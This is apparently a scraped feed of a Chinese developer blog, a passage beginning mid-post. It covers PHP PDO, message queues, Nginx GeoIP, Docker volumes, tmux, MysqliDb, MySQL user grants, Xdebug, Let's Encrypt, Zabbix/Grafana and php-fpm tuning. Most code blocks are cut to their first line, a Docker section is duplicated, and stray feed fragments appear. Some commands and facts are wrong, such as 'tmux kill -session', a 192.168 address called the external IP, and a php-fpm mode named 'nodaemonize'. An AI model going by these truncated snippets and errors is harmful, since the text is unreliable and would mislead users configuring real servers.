除设置错误码之外,PDO 还将抛出一个 PDOException 异常类并设置它的属性来反射错误码和错误信息。此设置在调试期间也非常有用,因为它会有效地放大脚本中产生错误的点,从而可以非常快速地指出代码中有问题的潜在区域(记住:如果异常导致脚本终止,则事务被自动回滚)。
创建 PDO 实例并设置错误模式:
1 | <?php |
该应用因为一些历史原因使用 Mysql 的数据表作为消息队列。
整个系统中有多个生产者会向该数据表中插入记录,同时有一个脚本会作为消费者去数据库中查找记录并消费。
但是这样做是存在很多问题:
所以更好的方式应该是使用消息队列来解决。
消息队列(Message Queue),是分布式系统中重要的组件,其通用的使用场景可以简单地描述为:
当不需要立即获得结果,但是并发量又需要进行控制的时候,差不多就是需要使用消息队列的时候。
其常见的应用场景有以下几个:
场景描述:用户注册之后,需要邮箱或者短信通知,传统的做法有两种:
串行:
只有等以上三个任务全部完成之后,才会返回客户端。
并行:
虽然也是需要以上三个任务全部完成才会返回客户端,但并行与串行的区别就在于,通过使用多线程来缩短程序处理时间。
假设三个业务节点每个使用50毫秒钟,不考虑网络等其他开销,则串行方式的时间是150毫秒,并行的时间可能是100毫秒。
因为CPU在单位时间内处理的请求数是一定的,假设CPU1秒内吞吐量是100次。则串行方式1秒内CPU可处理的请求量是7次(1000/150)。并行方式处理的请求量是10次(1000/100)。
就该场景而言,如何突破传统方式带来的性能瓶颈?
解决方案:
消息队列包括两种模式,点对点模式(point to point, queue)和发布/订阅模式(publish/subscribe,topic)。
点对点模式包括以下三个角色:
生产者将消息发送到队列中,消费者从队列中取出消息进行消费,消息被消费之后,消息不再被存储。
点对点模式的特点:
发布/订阅模式下包括三个角色:
发布者将消息发布在频道中,频道将消息传递给所有订阅者。
发布/订阅模式特点:
想要完成这个需求,首先第一个解决的问题就是获取IP 地址所对应的地理位置:
前面也提到了MaxMind GeoLite Legacy数据库目前已停产,应改用MaxMind GeoIP2或Geolite2数据库和NGINX Plus GeoIP2模块。
Centos:
1 | yum install nginx-plus-module-geoip2 |
Ubuntu:
1 | sudo apt-get install nginx-plus-module-geoip2 |
然后将 load_module 指令都放在nginx.conf 的配置文件的顶部:
1 | load_module modules/ngx_http_geoip2_module.so; |
自从 2019年12月30日开始,就不能直接从MaxMind 上下载了,需要先注册一个账号,获取 license key,然后wget 时带上 key。具体可以查阅这篇文章。
这是一种安装方式,如果觉得麻烦,可以尝试下面这种方式。
安装依赖:
1 | sudo add-apt-repository ppa:maxmind/ppa |
下载源码包,安装应用:
1 | sudo wget https://github.com/maxmind/geoip-api-c/releases/download/v1.6.12/GeoIP-1.6.12.tar.gz |
查找GeoIP.dat
所在位置:
1 | sudo find / -name GeoIP.dat |
在配置文件中使用:
1 | geoip_country /etc/nginx/geoip/GeoIP-1.6.12/data/GeoIP.dat; |
通过以下变量综合获取地域信息:
$remote_addr
:IP地址$geoip_country_name
:国家$geoip_country_code
:对应编码$geoip_city
:城市名称数据挂载在Docker 中还是挺重要的一部分,因为有多种方式,而不同的方式所对应的处理数据的逻辑也不一样。
这里主要介绍前两者,后者使用的并不多。注意第一种和第二种是存在区别的,前者是使用的数据卷进行挂载,而后者则是直接使用的宿主机上的文件或者目录挂载到容器中。
众所周知,将容器删除之后,容器内所有的改动将不复存在。
挂载数据卷通常是最常用且最好的方式,这种方式会将容器中的数据持久化在宿主机中,这样做的好处就是当容器被删除或者无法正常启动时,数据仍是完整的。
挂载数据卷有两种方式:
--mount
-v
前者是新版本的方式,后者是老版本的方式,其效果都是一样的。
创建一个数据卷:
1 | docker volume create <volume name> |
列出数据卷列表:
1 | docker volume ls |
列出数据卷的详情信息:
1 | docker volume inspect <volume name> |
删除数据卷:
1 | docker volume rm <volume name> |
用数据卷创建一个容器:
1 | # 新版本 |
需要注意的是:
使用bind mounts 创建一个容器:
1 | # 新版本 |
需要注意的是:
打开nginx 的异常日志可以看到全是相同的异常:
upstream timed out (110: Connection timed out) while reading response header from upstream
从这个异常日志可以分析出,由于nginx 代理去获取上游服务器的响应超时了,那么究竟是什么原因导致它会超时呢?
通常会导致请求超时可能有以下几个原因:
因为请求一直都是那些请求,所以第一种可能性可以排除。
另外子进程数量设置的是比较大,所以第二种应该也可以排除。
对于服务器的网络问题,如果条件允许,可以直接从根本上解决,另外也可以通过设置超时时间来延缓请求超时。
在server 中添加以下配置:
1 | large_client_header_buffers 4 16k; |
然后重启Nginx。
tmux
这样一个窗口分隔工具,只不过一直使用着iTerm2
,本身就自带有标签页功能,所以就一直没去学习这个工具。这段时间需要经常访问Linux
服务器,所以在服务器上安装了这个工具。
Mac:
1 | brew install tmux |
Linux:
1 | apt-get install tmux |
一般情况下 tmux
中所有的快捷键都需要和前缀快捷键 ⌃b
来组合使用(注:⌃ 为 Mac 的 control 键),以下是常用的窗格(pane
)快捷键列表。
第一次使用tmux
可能会被Session
、窗口
、窗格
这些陌生的概念,弄得摸不着头脑。
这里总结成一句话就是:
一个完整的会话(Session)是由数个窗口组成,而一个窗口又可以分成若各个窗格。
使用tmux
命令会默认新建一个tmux
会话:
1 | // 默认新建一个Session 名称为 0 的窗口。 |
常用Session
操作:
窗口的概念不同于窗格,窗口互不影响,窗格相互分隔。
常用窗口操作:
窗格是在窗口下的概念,若干个窗格组成一个窗口。
常用窗格操作:
上面那些命令都是配合⌃ + b
快捷键使用的,下面的这些命令都是在Shell
进程中直接执行的。
新建名称为 foo 的会话
1 | tmux new -s foo |
列出所有 tmux 会话
1 | tmux ls |
恢复上一次会话
1 | tmux a |
恢复名为 foo 的会话
1 | tmux a -t foo |
删除名为 foo 的会话
1 | tmux kill -session -t foo |
删除所有会话
1 | tmux kill -server |
tmux
和iTerm2
都有窗口管理方面的功能,只是前者相比后者的优势在于:
iTerm2
的窗格切换快捷键(⌘⌥→
)容易与其他软件全局快捷键冲突(例如 Spectacle
的窗口分割快捷键),tmux
由于存在前缀快捷键,所以不存在快捷键冲突问题;tmux
可以在终端软件重启后通过命令行恢复上次的 session
,而终端软件则不行;tmux
简洁优雅、订制性强,学会之后也能在 Linux
上使用,有助于逼格提升。具有如下特点:
使用composer 安装
1 | composer require thingengineer/mysqli-database-class:dev-master |
因为MysqliDb
没有命名空间,所以我们想要使用的话,不能自动加载,只能先引入。
1 | require "MysqliDb.php"; |
初始化连接有几种方式:
1 | $db = new MysqliDb ('host', 'username', 'password', 'databaseName'); |
1 | $db = new MysqliDb ([ |
1 | $mysqli = new mysqli ('host', 'username', 'password', 'databaseName'); |
向user 表中插入一条记录:
1 | $data = [ |
返回值类型:bool
修改user 表中的一条记录
1 | $data = [ |
返回值类型:bool
1 | $result = $db->get("user", null, "*"); |
返回值:多维数组
1 | $result = $db->getOne("user", "*"); |
返回值:关联数组
1 | $result = $db->where("name", "boo") |
返回值:string
1 | $result = $db->getValue("user", "count(*)"); |
删除user 表中一条记录
1 | $success = $db->where("user_id", "boo") |
1 | $result = $db->rawQuery("select * from user where name = \"boo\"") |
总体来说,MysqliDb 真的挺好用的,基本上可以满足所有日常需求。
这里只是列举了最基本的CURD,更多操作可以参考官网手册。
基础的使用这里就不过多介绍了,这里主要是用来整理一些比较高级的用法。
调试是日常开发中,不可缺少的一部分。
通常都是用来调试本地代码,可如果需要调试虚拟机或者其他应用中时,那该怎么做呢?
打开偏好设置或者设置,找到一个已经配置好的服务,勾选映射。
然后找到该服务的入口配置文件,后面的文件路径填绝对路径。
]]>最后返回的结果大概是这样:
1 | $result = [ |
这个问题的难点在于:
对于这个问题,首先第一个想到是使用递归算法来解决。
使用递归算法是没错,不过思路还是有些问题,我试图通过正向查找,然后将数据 push 至结果集。
所以这里存在一个问题:我需要知道数组具体的索引是多少。
在第一个思路无解之后,果断放弃了。
要解决这个问题,我得正向查找,逆向存值。
也就是把递归返回的结果压入到当前用户的数组中,然后返回当前用户,从最后一个用户往前处理。
最后实现的代码如下:
1 | function get_user_tree($user_id){ |
不得不说递归算法真的非常优雅,仅仅不到十来行代码就把这个复杂的问题给解决了。
]]>其实不管是两张表还是三张表还是N 张表都是一样的。
1 | # 语法一: |
有几点需要注意:
inner join
可以根据实际情况可以换成left join
、right join
Nginx 502 bad gateway
,查看 Nginx 错误日志之后,发现这样一段话:Primary script unknown
,找了好久的答案,总结出以下几个原因:其中未启动 php-fpm 是出现最多的错误,再聊 php-fpm 之前,我们先来学习几个 相关概念。
Cgi 是一个协议,它约定了 web server 和应用程序(如:PHP、Python等)之间的信息交换的标准格式。
当一个客户端试图访问index.html
这个文件时,那么 web server 就回去文件系统中找到这个文件,最后将结果返回给客户端。
当一个客户端试图访问index.php
这个文件时,web server 收到请求之后,根据配置文件知道了自己处理不了,接着转发给第三方的应用程序(PHP解析器、Python解析器等),web server 知道该传哪些数据吗?它不知道,所以 Cgi 就是约定要传哪些数据,以什么样的格式传递给第三方的应用程序的协议。 应用程序独立处理完该脚本,然后再将结果返回给产生响应的 web server,最后转发响应至客户端。
当 web server 收到 index.php
这个请求之后,会启动对应的 cgi 程序(PHP解析器,Python解析器),接下来解析器会解析 php.ini 配置文件,初始化执行环境,然后处理请求,再以 cgi 规定的格式返回处理后的结果,退出进程。web server 将转发响应至客户端。
这种协议看上去简单有效,但它也存在一些明显不足:
知道了 cgi 是协议之后,那 fastcgi 又是什么呢?
知道了 cgi 服务器性能低下的原因是因为每产生一个请求,都会做同样的事情:解析器解析配置文件,初始化执行环境,启动一个新的进程。
fastcgi 则是在 cgi 的基础上做了重大的改进,从而达到相同的目的,原理如下:
fastcgi 的性能之所以高于 cgi,是因为 fastcgi 可以对进程进行管理,而这是 cgi 所做不到的,但它的本质仍然是 协议。
默认情况下,PHP 是支持 cgi 和 fastcgi 协议的。
PHP 二进制命令能够处理脚本并且能够通过套接字与Nginx 交互,但是这种方式并不是效率最高的,php-fpm 便是在这样的背景下诞生的。
PHP-FPM (PHP FastCgi 进程管理,PHP Fastcgi Process Manager)
php-fpm 将 fastcgi 带到了一个全新的水平。
在理解了 cgi、fastcgi、php-fpm 是什么之后,就不难理解 php-fpm 和nginx是什么关系了。
因为 php-fpm 是 php fastcgi 的进程管理器,所以 php-fpm 就是 nginx 与 php 交互时,协助 php 将性能发挥最大的一个程序。
难怪每次 php-fpm 这个进程死掉时,nginx 的状态就变成了 502 。
通俗一点讲JSON 就是一种数据结构,就是一串字符串,只不过元素会通过特定的符号标注。
{}
:大括号表示对象[]
:中括号表示数组""
:双引号内是属性或值标准的JSON 对象:
1 | # 这是一个JSON 对象 |
标准的JSON 数组:
1 | # 这是一个包含两个对象的JSON 数组 |
在熟悉了几种常见的JSON 字符串之后,在来看一下如何解析JSON 字符串。
JSON 对象转换为对象
1 | <?php |
JSON 对象转换为数组
1 | <?php |
需要注意几个容易出错的细节:
1 | <?php |
下面来看看如何返回JSON 格式的数据,通过使用 json_encode
这个函数:
1 | $b = array(); |
有时候会有这样一种需求,自己在本地项目做开发,还没放到服务器上,但是其他人希望能在他的电脑上访问项目。
这个时候就需要这两台电脑在同一个局域网内,也就是连接相同的WiFi 。
然后查看自己的外网IP 地址是多少:
1 | # mac/linux |
外网IP 地址通常是以192.168.x.xxx
打头的IP ,然后把这个IP 配置到对应的域名。
1 | # mac/linux |
配置完成之后,直接把example.com
这个域名丢给对方,对方就在他自己的电脑上可以访问了。
想要在局域网内,让别人能连接到我的数据库,需要注意以下两点:
对于第一点,可以以下命令来完成:
1 | 1. mysql -hlocalhost -uroot -p; |
通常完成第一步,就可以连接了,如果连接异常,可以尝试第二步:
1 | # 打开Mysql 配置文件 |
然后重启Mysql 数据库即可。
其他人怎么连接我的数据库?
把这个丢给他:
1 | host:你的外网IP 地址 |
1 | # 语法:CREATE USER 'username'@'host' IDENTIFIED BY 'password'; |
host 参数说明:
%
:匹配所有主机localhost
:当前主机,localhost 不会被解析成IP地址,而是通过UNIXsocket 连接127.0.0.1
:当前主机,通过TCP/IP 协议连接::1
:当前主机,兼容支持ipv6此时还没有授权,只能登陆,无法做其余操作
1 | # 创建完成之后授权 |
privileges 参数说明:
all privileges
: 所有权限;select
: 查询;insert
: 新增记录;update
: 更新记录;delete
: 删除记录;create
: 创建表;drop
: 删除表;alter
: 修改表结构;index
: 索引相关权限;execute
: 执行存储过程与call函数references
: 外键相关;create temporary tables
:创建临时表;lock tables
:锁表;create view
:创建视图;show view
:查看视图结构;trigger
: 触发器;dbName 可以是某个库(database
),也可以是具体到某张表(database.table
),也可以是所整个数据库(*
)。
1 | # 修改自己的密码 |
1 | mysql> DROP USER 'username'@'host'; |
不建议直接通过修改mysql.user
表去操作用户。
这里的表单提交就是指传统的表单提交。
核心请求头信息:
1 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; |
body 的数据格式选择form-data
。
核心请求头信息:
1 | Accept: application/json, text/javascript, */*; |
body 的数据格式选择 x-www-form-urlencode
,如果选择form-data
则接收到的数据格式会是这个样子:
如果以x-www-form-urlencode
格式进行提交,那么接收到的数据是这个样子,可以直接通过魔术变量获取使用。
在Body
中,选择raw
然后把请求参数以json 的格式填进去。
不过需要注意,以json 格式提交的请求,用常见的魔术变量获取不到,需要使用以下方式:
1 | json_decode(file_get_contents('php://input')); |
有时候我们希望可以测试文件提交,使用 Postman 当然也可以完成。
请求方式选择POST,Headers 可以不用做选择,Body 选择 form-data
,类型由默认的text 改成 file,然后选择需要提交的文件即可。
注意:key 最好也填上 file 这个关键字。
]]>异常描述:Mysql Server 无法正常启动,Client 连接Mysql 异常如下:
ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/run/mysqld/mysqld.sock’ (2)
首先,这个错误意味着 /var/run/mysqld/mysqld.sock
不存在,而该文件之所以不存在,可能是因为没有安装 mysql-server
,也可能是因为该文件被移动了。
如果是需要连接本机的Mysql(mysql -hlocalhost -uroot -p),那么需要先安装 mysql server
:
1 | apt-get install mysql-server -y |
如果Mysql 服务确实有在本地运行,那么请检查/etc/mysql/mysql.conf.d/mysqld.cnf
配置文件,是否存在以下配置:
1 | socket = /var/run/mysqld/mysqld.sock |
如果只是需要连接其他主机,那么在本机上不安装 Mysql Server
也可以,但需要保证“其他主机”的Mysql 已经正常启动。
1 | mysql -h<hostname> -uroot -p |
总结:
最有可能的情况是需要连接的Mysql 服务根本没有启动,要么没有在与从终端运行MySQL客户端的主机相同的主机上运行,小概率是因为配置文件错误导致。
异常描述:Mysql 创建完该用户之后,赋予权限并设置密码,但是总是会提示如下异常:
ERROR 1045 (28000): Access denied for user ‘zabbix’@’172.17.0.1’ (using password: YES)
出现该异常信息可能有以下几种情况:
异常描述:Mysql 偶尔会自己断开连接,然后必须重启Mysql 服务才能正常运行。
ERROR 2013 (HY000): Lost connection to MySQL server at ‘reading initial communication packet’, system error: 102
目前并没有找到合适的解决方案,不过能大致确定以下几个方向:
localhost
localhost 对应socket?127.0.0.1 对应 TCP/IP?
_
进行分割。_
进行分割。_
进行分割(统一使用小写)date => dt
tinyint
就不用 int
,能用 int
就不要用 varchar
,能用 varchar(16)
就不要用 varchar(225)
is_xxx
格式count(*)
select *
PHPSTORM
调试的笔记。在进行调试之前,首先要做的是下载并安装Xdebug
,然后才能做相应的配置。
如何选择符合自己PHP的版本的Xdebug,可以通过下面这种方法来判断。
使用Xdubug官方提供的一个检测工具
在命令行中输入:
1 | # Mac |
将输出的phpinfo
信息填入,然后就会自动检测该版本的PHP 所对应的Xdebug,如下图(这里以Windows 为例):
点击下载相应的文件。
..\php\ext\
php.ini
文件,这里需要注意的是:要找到正确的php.ini
文件。如果你不确定是哪一个,可以参考下面这个方法:打印出phpinfo()
,找到字段Loaded Configuration File
根据后面的路径去找就没错了。
打开找到的php.ini配置文件,在最后面加上以下代码:
1 | # Windows |
其中:
xdebug.remote.host
如果是本地调试,填localhost
就好。xdebug.remote_port
为调试所监听的端口,通常默认使用 9001
,需要和PHPStorm 中的 Debug port 相同。Mac 下安装Xdebug,有两种方式:
pecl
命令Pecl 是 PHP 的包管理器。
这里以PHP5.6
为例,需要安装最新2.5.x
版本的Xdebug,因为这是PHP5.6
提供支持的最后一个版本。
1 | $ pecl install xdebug-2.5.5 |
源码获取的方式和上面Windows 的方式是一样的,将输出的phpinfo
粘贴至输入框,然后下载对应版本的Xdebug。
1 | $ tar -xvzf xdebug-2.9.4.tgz |
无论是通过哪种方式安装,在正式使用之前,都需要手动启用该模块。
找到对应版本的 php.ini 文件并编辑,在配置文件中的最后部分加上以下内容:
1 | [XDebug] |
重启PHP即可。
如何检查Xdebug 是否启用?
1 | $ php -m | grep xdebug |
File->Setting->PHP->Debug
,确保PHPStorm
已经找到了Xdebug
。在刚才的配置没错的前提下,这里是可以看到已经成功安装了Xdebug
的。
如果显示没有安装,请检查上面两步操作有无问题。
File->Setting->PHP->Debug
Debug port 与php.ini
配置文件中的xdebug.remote_port
的对应参数保持一致。
File->Setting->PHP->Server
,这三个参数的值和php.ini
中的保持一致。这里根据实际情况配置,我本地使用80 端口作为项目访问端口,所以这里填的是80。
Run->Web Server Debug Validation
,检查是否配置成功。确保项目文件路径和本地域名能正常访问,如果一切正常则能看到输出。
Windows 下的PHPStorm 配置和Mac 几乎差不多,保证一下几点是正常的基本上没啥问题。
php.ini
文件中保持一致。Xdebug 调试端口并非一定要用9001,只要保持
php.ini
与PHPStorm
的保持一致就好了。
有两种方式使用Xdebug:
gitlab 提示我 commit 失败。跟进了一下,并没有找到答案。
只是了解到一个叫做 CI/CD
的东西。后来又延伸扩展到DevOps
、K8S
这些新概念。
如题,什么是 DevOps ?根据字面意思理解就是:Dev
+ Ops
,开发(Development)和运营(Operations)这两个领域的合并。
就我个人的理解,它是一个概念、一种思维,是一种通力合作,共同解决问题的方式。
这里我就不追根溯源去解释为什么要合并开发和运营了,因为历史原因,总是存在着这样的问题。具体看参考链接一。
DevOps 也不仅仅是一种软件的部署方法。它通过一种全新的方式,来思考如何让软件的作者(开发部门)和运营者(运营部门)进行合作与协同。使用了DevOps模型之后,会使两个部门更好的交互。
其中,自动化部署
的概念就是从中产生的。
Gitlab 的CI/CD
到底是什么呢?
昨天大致了解了下 Gitlab CI/CD
,不是很明白,但觉得很厉害。
首先来看下官方文档的简介:
软件开发的连续方法基于自动执行脚本,以最大限度地减少在开发应用程序时引入错误的可能性。从新代码的开发到部署,它们需要较少的人为干预甚至根本不需要干预。
它涉及在每次小迭代中不断构建,测试和部署代码更改,从而减少基于有缺陷或失败的先前版本开发新代码的机会。
这里有三种主要的方法,根据最适合你的策略进行选择。
考虑一个应用程序,其代码存储在Gitlab中的存储库中。开发人员每天多次推送代码更改,对于每次推动到存储库,都可以创建一组脚本来自动构建和测试应用程序,从而减少向应用程序引入错误的可能性。这种方法被称为:持续集成(Continuous Integration)
持续交付 Continuous Delivery是持续集成的一个步骤,应用程序不仅在推送到代码库的每个代码更改时都构建和测试,而且作为一个额外的步骤,它也会连续部署,尽管部署是手动触发的。
持续部署 Continuous Deployment也是持续集成的又一步,类似于持续交付。不同之处在于,不必手动部署应用程序,而是将其设置为自动部署。完全不需要人工干预就可以部署应用程序。
Let’s Encrypt 是一个免费提供的SSL 证书的CA,虽然每次签发的有效期都只有三个月,但是发证是自动化的,发证速度较快,并且可以通过脚本来自动续签,为个人网站使用HTTPS提供了一个不错的选择。
Let’s Encrypt (以下简称LE)的证书签发主要使用基于 ACME协议 的证书自动管理客户端来实现。
LE官方推荐的客户端是 Certbot ,本文中就是使用 Certbot 来获取和续签证书。
假设现在要申请CA 证书的域名是 example.com
。
首先由WebServer(也就是我们用户端的服务器)的管理客户端(如Certbot)发送请求到LE,让LE来验证客户端是否真的控制example.com这个域名,接下来LE会提出一些验证动作(原文challenges),比如让客户端在一个很明显的路径上放指定的文件。同时,LE还会发出一个随机数,客户端需要用这个随机数和客户端自己的私钥来进行签名。
WebServer上的客户端完成LE指定的域名验证动作并且将加密后的签名后,再次发送请求到LE要求验证,LE会验证发回来的签名是否正确,并且验证域名验证动作是否完成,如下载指定的文件并且判断文件里面的内容是否符合要求。
这些验证都完成以后,可以申请证书了。
完成验证后,客户端生成自己的私钥以及 Certificate Signing Request(CSR) 发送到LE服务器,LE服务器会将CA证书(也是公钥)发放到你的服务器。
这样就完成了CA证书的自动化发放了。
LE 的CA 证书发放原理看着还挺麻烦的,但如果使用 Certbot 客户端,整个过程还是挺简单的。
在正式获取证书之前,推荐先去Certbot 官网选择适合自己的系统环境。
我这边系统环境是Nginx
+ Ubuntu 18.04 LTS
,所以下面介绍的安装流程只适用于Ubuntu + Nginx。
snap 是Canonical公司发布的全新的软件包管理方式,它类似一个容器拥有一个应用程序所有的文件和库,各个应用程序之间完全独立。使用snap 包的好处就是它解决了应用程序之间的依赖问题,使应用程序之间更容易管理。但是由此带来的问题就是它占用更多的磁盘空间。
1 | $ sudo apt update |
在安装 Certbot 之前,最好先移除历史快照。
1 | $ sudo apt-get remove certbot |
进行安装:
1 | $ sudo snap install --classic certbot |
安装完成之后,下一步需要做的就是生成证书了,这里有两种方式:
生成证书并自动配置
1 | $ sudo certbot --nginx |
生成证书手动配置
1 | $ sudo certbot certonly --nginx |
我选择的是手动配置,大概流程如下:
需要注意的是:
certbot
会自动检测本地Nginx 的可用域名(没有配置server_name 的域名不会被检测到)一切正常的话,可以看到/etc/letsencrypt/live/your_sites/
目录下多了四个文件:
cert.pem
: 公钥,服务器证书chain.pem
: 中间证书fullchain.pem
: 前两个的合集privkey.pem
: 私钥其中配置Nginx SSL 只需要用到fullchain.pem
和privkey.pem
:
1 | server { |
至此,就已经完成了生成证书到配置的全部过程了。
如果快要到期了,可以使用certbot renew
对证书进行更新,需要注意的是,如果证书尚未过期,则不会更新。
可以配合conrtab
使用,每半个月的凌晨三点自动续签一次。
1 | $ 0 3 15 * * certbot renew |
问题描述:因为错误的配置文件导致容器运行异常,无法正常启动,通常情况下只有进入容器才能修改配置文件,所以在不能进入容器的情况下该怎么办呢?
这种情况下,有两种方式去修改:
2. Docker 容器的配置文件一般在 /var/lib/docker/overlay/
目录下,可以找到该目录下对应的配置文件进行修改。
2. 把容器中的配置文件复制到主机中,修改完之后,再移动到容器中。
查询日志
1 | docker logs <容器名称/容器id> |
由于异常日志可以得知是因为我将relay-log
写成了 realy
导致容器无法正常启动。
查找文件
1 | $ find / -name mysqld.cnf |
这里可能会出现多个配置文件,这是因为每一次重启Mysql 容器都会保留一个配置文件,所以理论上,直接修改第一个配置文件,就是当前Mysql 所使用的配置文件。
修改配置文件
重启容器即可。
如果第一种方式没生效,那可以尝试第二种方式。
复制容器中的配置文件到主机:
1 | # 语法:docker cp <容器名称/容器id>:<配置文件在容器中的路径> <需要复制到主机的路径> |
修改主机中的配置文件
将该配置文件mv 到容器中:
1 | # 语法:docker cp <配置文件在主机中的路径> <容器名称/容器id>:<配置文件在容器中的路径> |
重启配置文件即可。
总结:两种方式均可以有效解决上述问题,当然这类方式仅适用于容器是因错误的配置文件导致无法正常启动的情况。
下面介绍的方式仅适合主机数量不多的情况手动添加,如果主机数量很多,使用这种方式会很繁琐低效。
至于更好的方式是怎样的,暂时还没有发现。
打开Configuration->Hosts
主机页面,点击需要监控项的主机的 Application
。
在Application
列表中,如果没有看到 Network interfaces
这一项,那么可以点击右上角的Create Appliction
自己创建。
创建完成之后,items
默认是没有的,需要我们自己添加,继续点击items->create items
。
接下来是最重要的一步,添加监控项的具体信息。
需要注意的地方有下面几个:
net.if.in[eth0,bytes]
,其中eth0
并不是固定的,这个具体的值是被监控得主机得实际网卡。bps
Network interfaces
如何确定网卡地址?
进入服务器,输入ifconfig
命令查看,通常排在最前面得就是实际网卡。
完成之后,点击Add
添加监控项。
如果一切顺利的话,可以在刚才添加的监控项列表中看到监控项状态是启用的。
这个时候已经可以看到该监控项相关的数据了,如果希望在Grafana 中展示,那么只需要在选择Application时,选择Network interfaces
就好了。
结合Grafana,最后的效果大概是这样:
这里只是举了一个典型的例子来了解Zabbix 如何手动添加监控项,其他类型的数据也是通过类似的方式进行添加。
所以如何获取到想要的那部分数据,将那部分数据以更直观的方式展现出来,这才是我们更关心的。
Zabbix 默认有自己的 Graphs,但是并不好用,所以使用Zabbix + Grafana 打造高颜值的分布式监控平台才是最好的选择。
Grafana是一个跨平台的开源度量分析和可是化的工具,可以通过该将采集的数据查询然后可视化的展示,并及时通知。
Grafana 有以下特点:
Grafana 的安装还是建议根据自己实际的系统环境去官网选择适合自己的下载链接。
比如我的环境是 Ubuntu 18.04,我想安装 Grafana 7.0,所以我的安装方式应该是:
1 | $ sudo apt-get install -y adduser libfontconfig1 |
以守护进程的方式启动 grafana-server
:
1 | $ sudo systemctl daemon-reload |
设置开机启动:
1 | $ sudo systemctl enable grafana-server.service |
查看 grafana-server
所监听的端口:
1 | $ sudo netstat -lntp |
3000 是Grafana 默认监听端口,然后通过浏览器访问 http://your_ip_address:3000
即可。
正常应该可以看到该页面,如果你能看到3000 端口被监听,但是页面一直打不开,那可能是因为防火墙没有允许3000 端口。
默认的用户名和密码都是:admin,登录之后记得第一时间修改默认密码。
打开Grafana 的插件列表,找到Zabbix。
这里根据实实际情况,选择对应的版本。
通过grafana-cli
安装zabbix 插件,将下面这行代码放在安装了 Grafana 的服务器上执行:
1 | $ grafana-cli plugins install alexanderzobnin-zabbix-app |
安装完成之后,重启Grafana:
1 | $ sudo systemctl restart grafana-server |
然后打开Grafana 的Web 界面,在插件列表中找到 Zabbix。
点击启用。
自从 Grafana 7.0 以后,没有签名的插件默认在 datasource 中是不可见的…
坑啊,最初我安装的是 Zabbix5.0,然后看见Grafana 7.0 好像只适配4.0,心想完了,该不会出现什么版本不兼容的问题吧?
结果在add data source
这一步,一直找不到 zabbix…
然后今天把5.0 完全卸载了,重新装回了4.0,结果到了add data source
这一步才发现,还是找不到zabbix,当时心态就崩了…
直到我看见这篇文章,这么重要的信息,官方文档中居然没记录。
如果你无法访问,也可以直接进行修改:
1 | # vim /etc/grafana/grafana.ini |
然后重启Grafana:
1 | $ sudo systemctl restart grafana-server |
再次打开Web 页面,现在就能找到 Zabbix 了。
只用修改以下四个地方就好了,然后点击保存。
依次点击add dashboard-> add new panel
,然后按照以下方式配置,就可以选择展示自己想要的数据了。
最后的效果:
这里只是介绍了 Zabbix + Grafana 最基础的用法,能看到的数据也是最简单的一些,如果想看到更多的数据,那就得更加了解 Zabbix 了。
]]>问题描述:因为错误的配置文件导致容器运行异常,无法正常启动,通常情况下只有进入容器才能修改配置文件,所以在不能进入容器的情况下该怎么办呢?
这种情况下,有两种方式去修改:
2. Docker 容器的配置文件一般在 /var/lib/docker/overlay/
目录下,可以找到该目录下对应的配置文件进行修改。
2. 把容器中的配置文件复制到主机中,修改完之后,再移动到容器中。
查询日志
1 | docker logs <容器名称/容器id> |
由于异常日志可以得知是因为我将relay-log
写成了 realy
导致容器无法正常启动。
查找文件
1 | $ find / -name mysqld.cnf |
这里可能会出现多个配置文件,这是因为每一次重启Mysql 容器都会保留一个配置文件,所以理论上,直接修改第一个配置文件,就是当前Mysql 所使用的配置文件。
修改配置文件
重启容器即可。
如果第一种方式没生效,那可以尝试第二种方式。
复制容器中的配置文件到主机:
1 | # 语法:docker cp <容器名称/容器id>:<配置文件在容器中的路径> <需要复制到主机的路径> |
修改主机中的配置文件
将该配置文件mv 到容器中:
1 | # 语法:docker cp <配置文件在主机中的路径> <容器名称/容器id>:<配置文件在容器中的路径> |
重启配置文件即可。
总结:两种方式均可以有效解决上述问题,当然这类方式仅适用于容器是因错误的配置文件导致无法正常启动的情况。
php-fpm
(FastCGI Process Manger)是一个PHP FastCGI 管理器,专门和Nginx 的 ngx_fastcgi_modul
模块对接,用来处理动态请求。当安装了PHP 之后,可以从以下三个方向来对默认配置进行修改,以达到优化的效果。
核心配置文件其实就是 php.ini
,该配置文件的作用通常是用来启用或禁用第三方模块,及修改PHP 时区等。
1 | # vim /usr/local/etc/php/php.ini |
全局配置文件php-fpm.conf
,通常用来配置一些辅助性功能。
1 | # vim /usr/local/etc/php-fpm.conf |
参数解析:
error_log
:错误日志路径log_level
:日志级别,默认为noticealert
:必须立即处理error
:错误情况warning
:警告情况notice
:一般重要信息debug
:调试信息process_max
:控制最大子进程数的全局变量,不建议设置具体数量,因为会限制扩展配置。daemonize
:是否开启守护进程,默认为yes通常不会在php-fpm.conf
中设定 process_max
,因为会限制www.conf
中的配置。
扩展配置文件www.conf
通常是与php-fpm
服务相关的配置,大部分优化都是需要更改这个配置文件。
1 | # vim /usr/local/etc/php-fpm.d/www.conf |
参数解析:
listen
:有两种方式可以进行通讯。socket
:unix:/run/php/php7.3-fpm.sock
http
:127.0.0.1:9000
因为php-fpm
与ngx_fastcgi_modul
的通讯方式是 9000端口,所以默认是 127.0.0.1:9000
slowlog
:慢查询日志路径pm
:进程管理方式static
:静态模式。始终保持固定数量的子进程数,配合最大子进程数一起使用,这个方式很不灵活,通常不是默认。pm.max_children
:最大子进程数。dynamic
:动态模式。按照固定的最小子进程数启动,同时用最大子进程数去限制。pm.start_servers
:默认开启的进程数pm.min_spare_servers
:最小空闲的进程数pm.max_spare_servers
:最大空闲的进程数pm.max_children
:最大子进程数pm.max_requests
:每个进程能响应的请求数量,达到此限制之后,该PHP 进程就会被自动释放掉。nodaemonize
:每个进程在闲置一定时候后就会被杀掉。pm.max_children
:最大子进程数pm.process_idle_timeout
:在多少秒之后,一个空闲的进程将会被杀死注意:max_children
是 PHPFPM Pool 最大的子进程数,它的数值取决于服务器实际空闲内存。假设你有一台10G 运行内存的服务器,我们知道一个空闲的PHP 进程占用的是 1M 内存,而一个正在处理请求的PHP 进程 大概会占用10M-40M
内存,这里按照每个PHP 请求占用 40M 内存,那么max_children = 10*1024M/40M = 256
,所以这个值得根据实际环境而设定。
以上就是php-fpm
初始化配置的核心部分了。
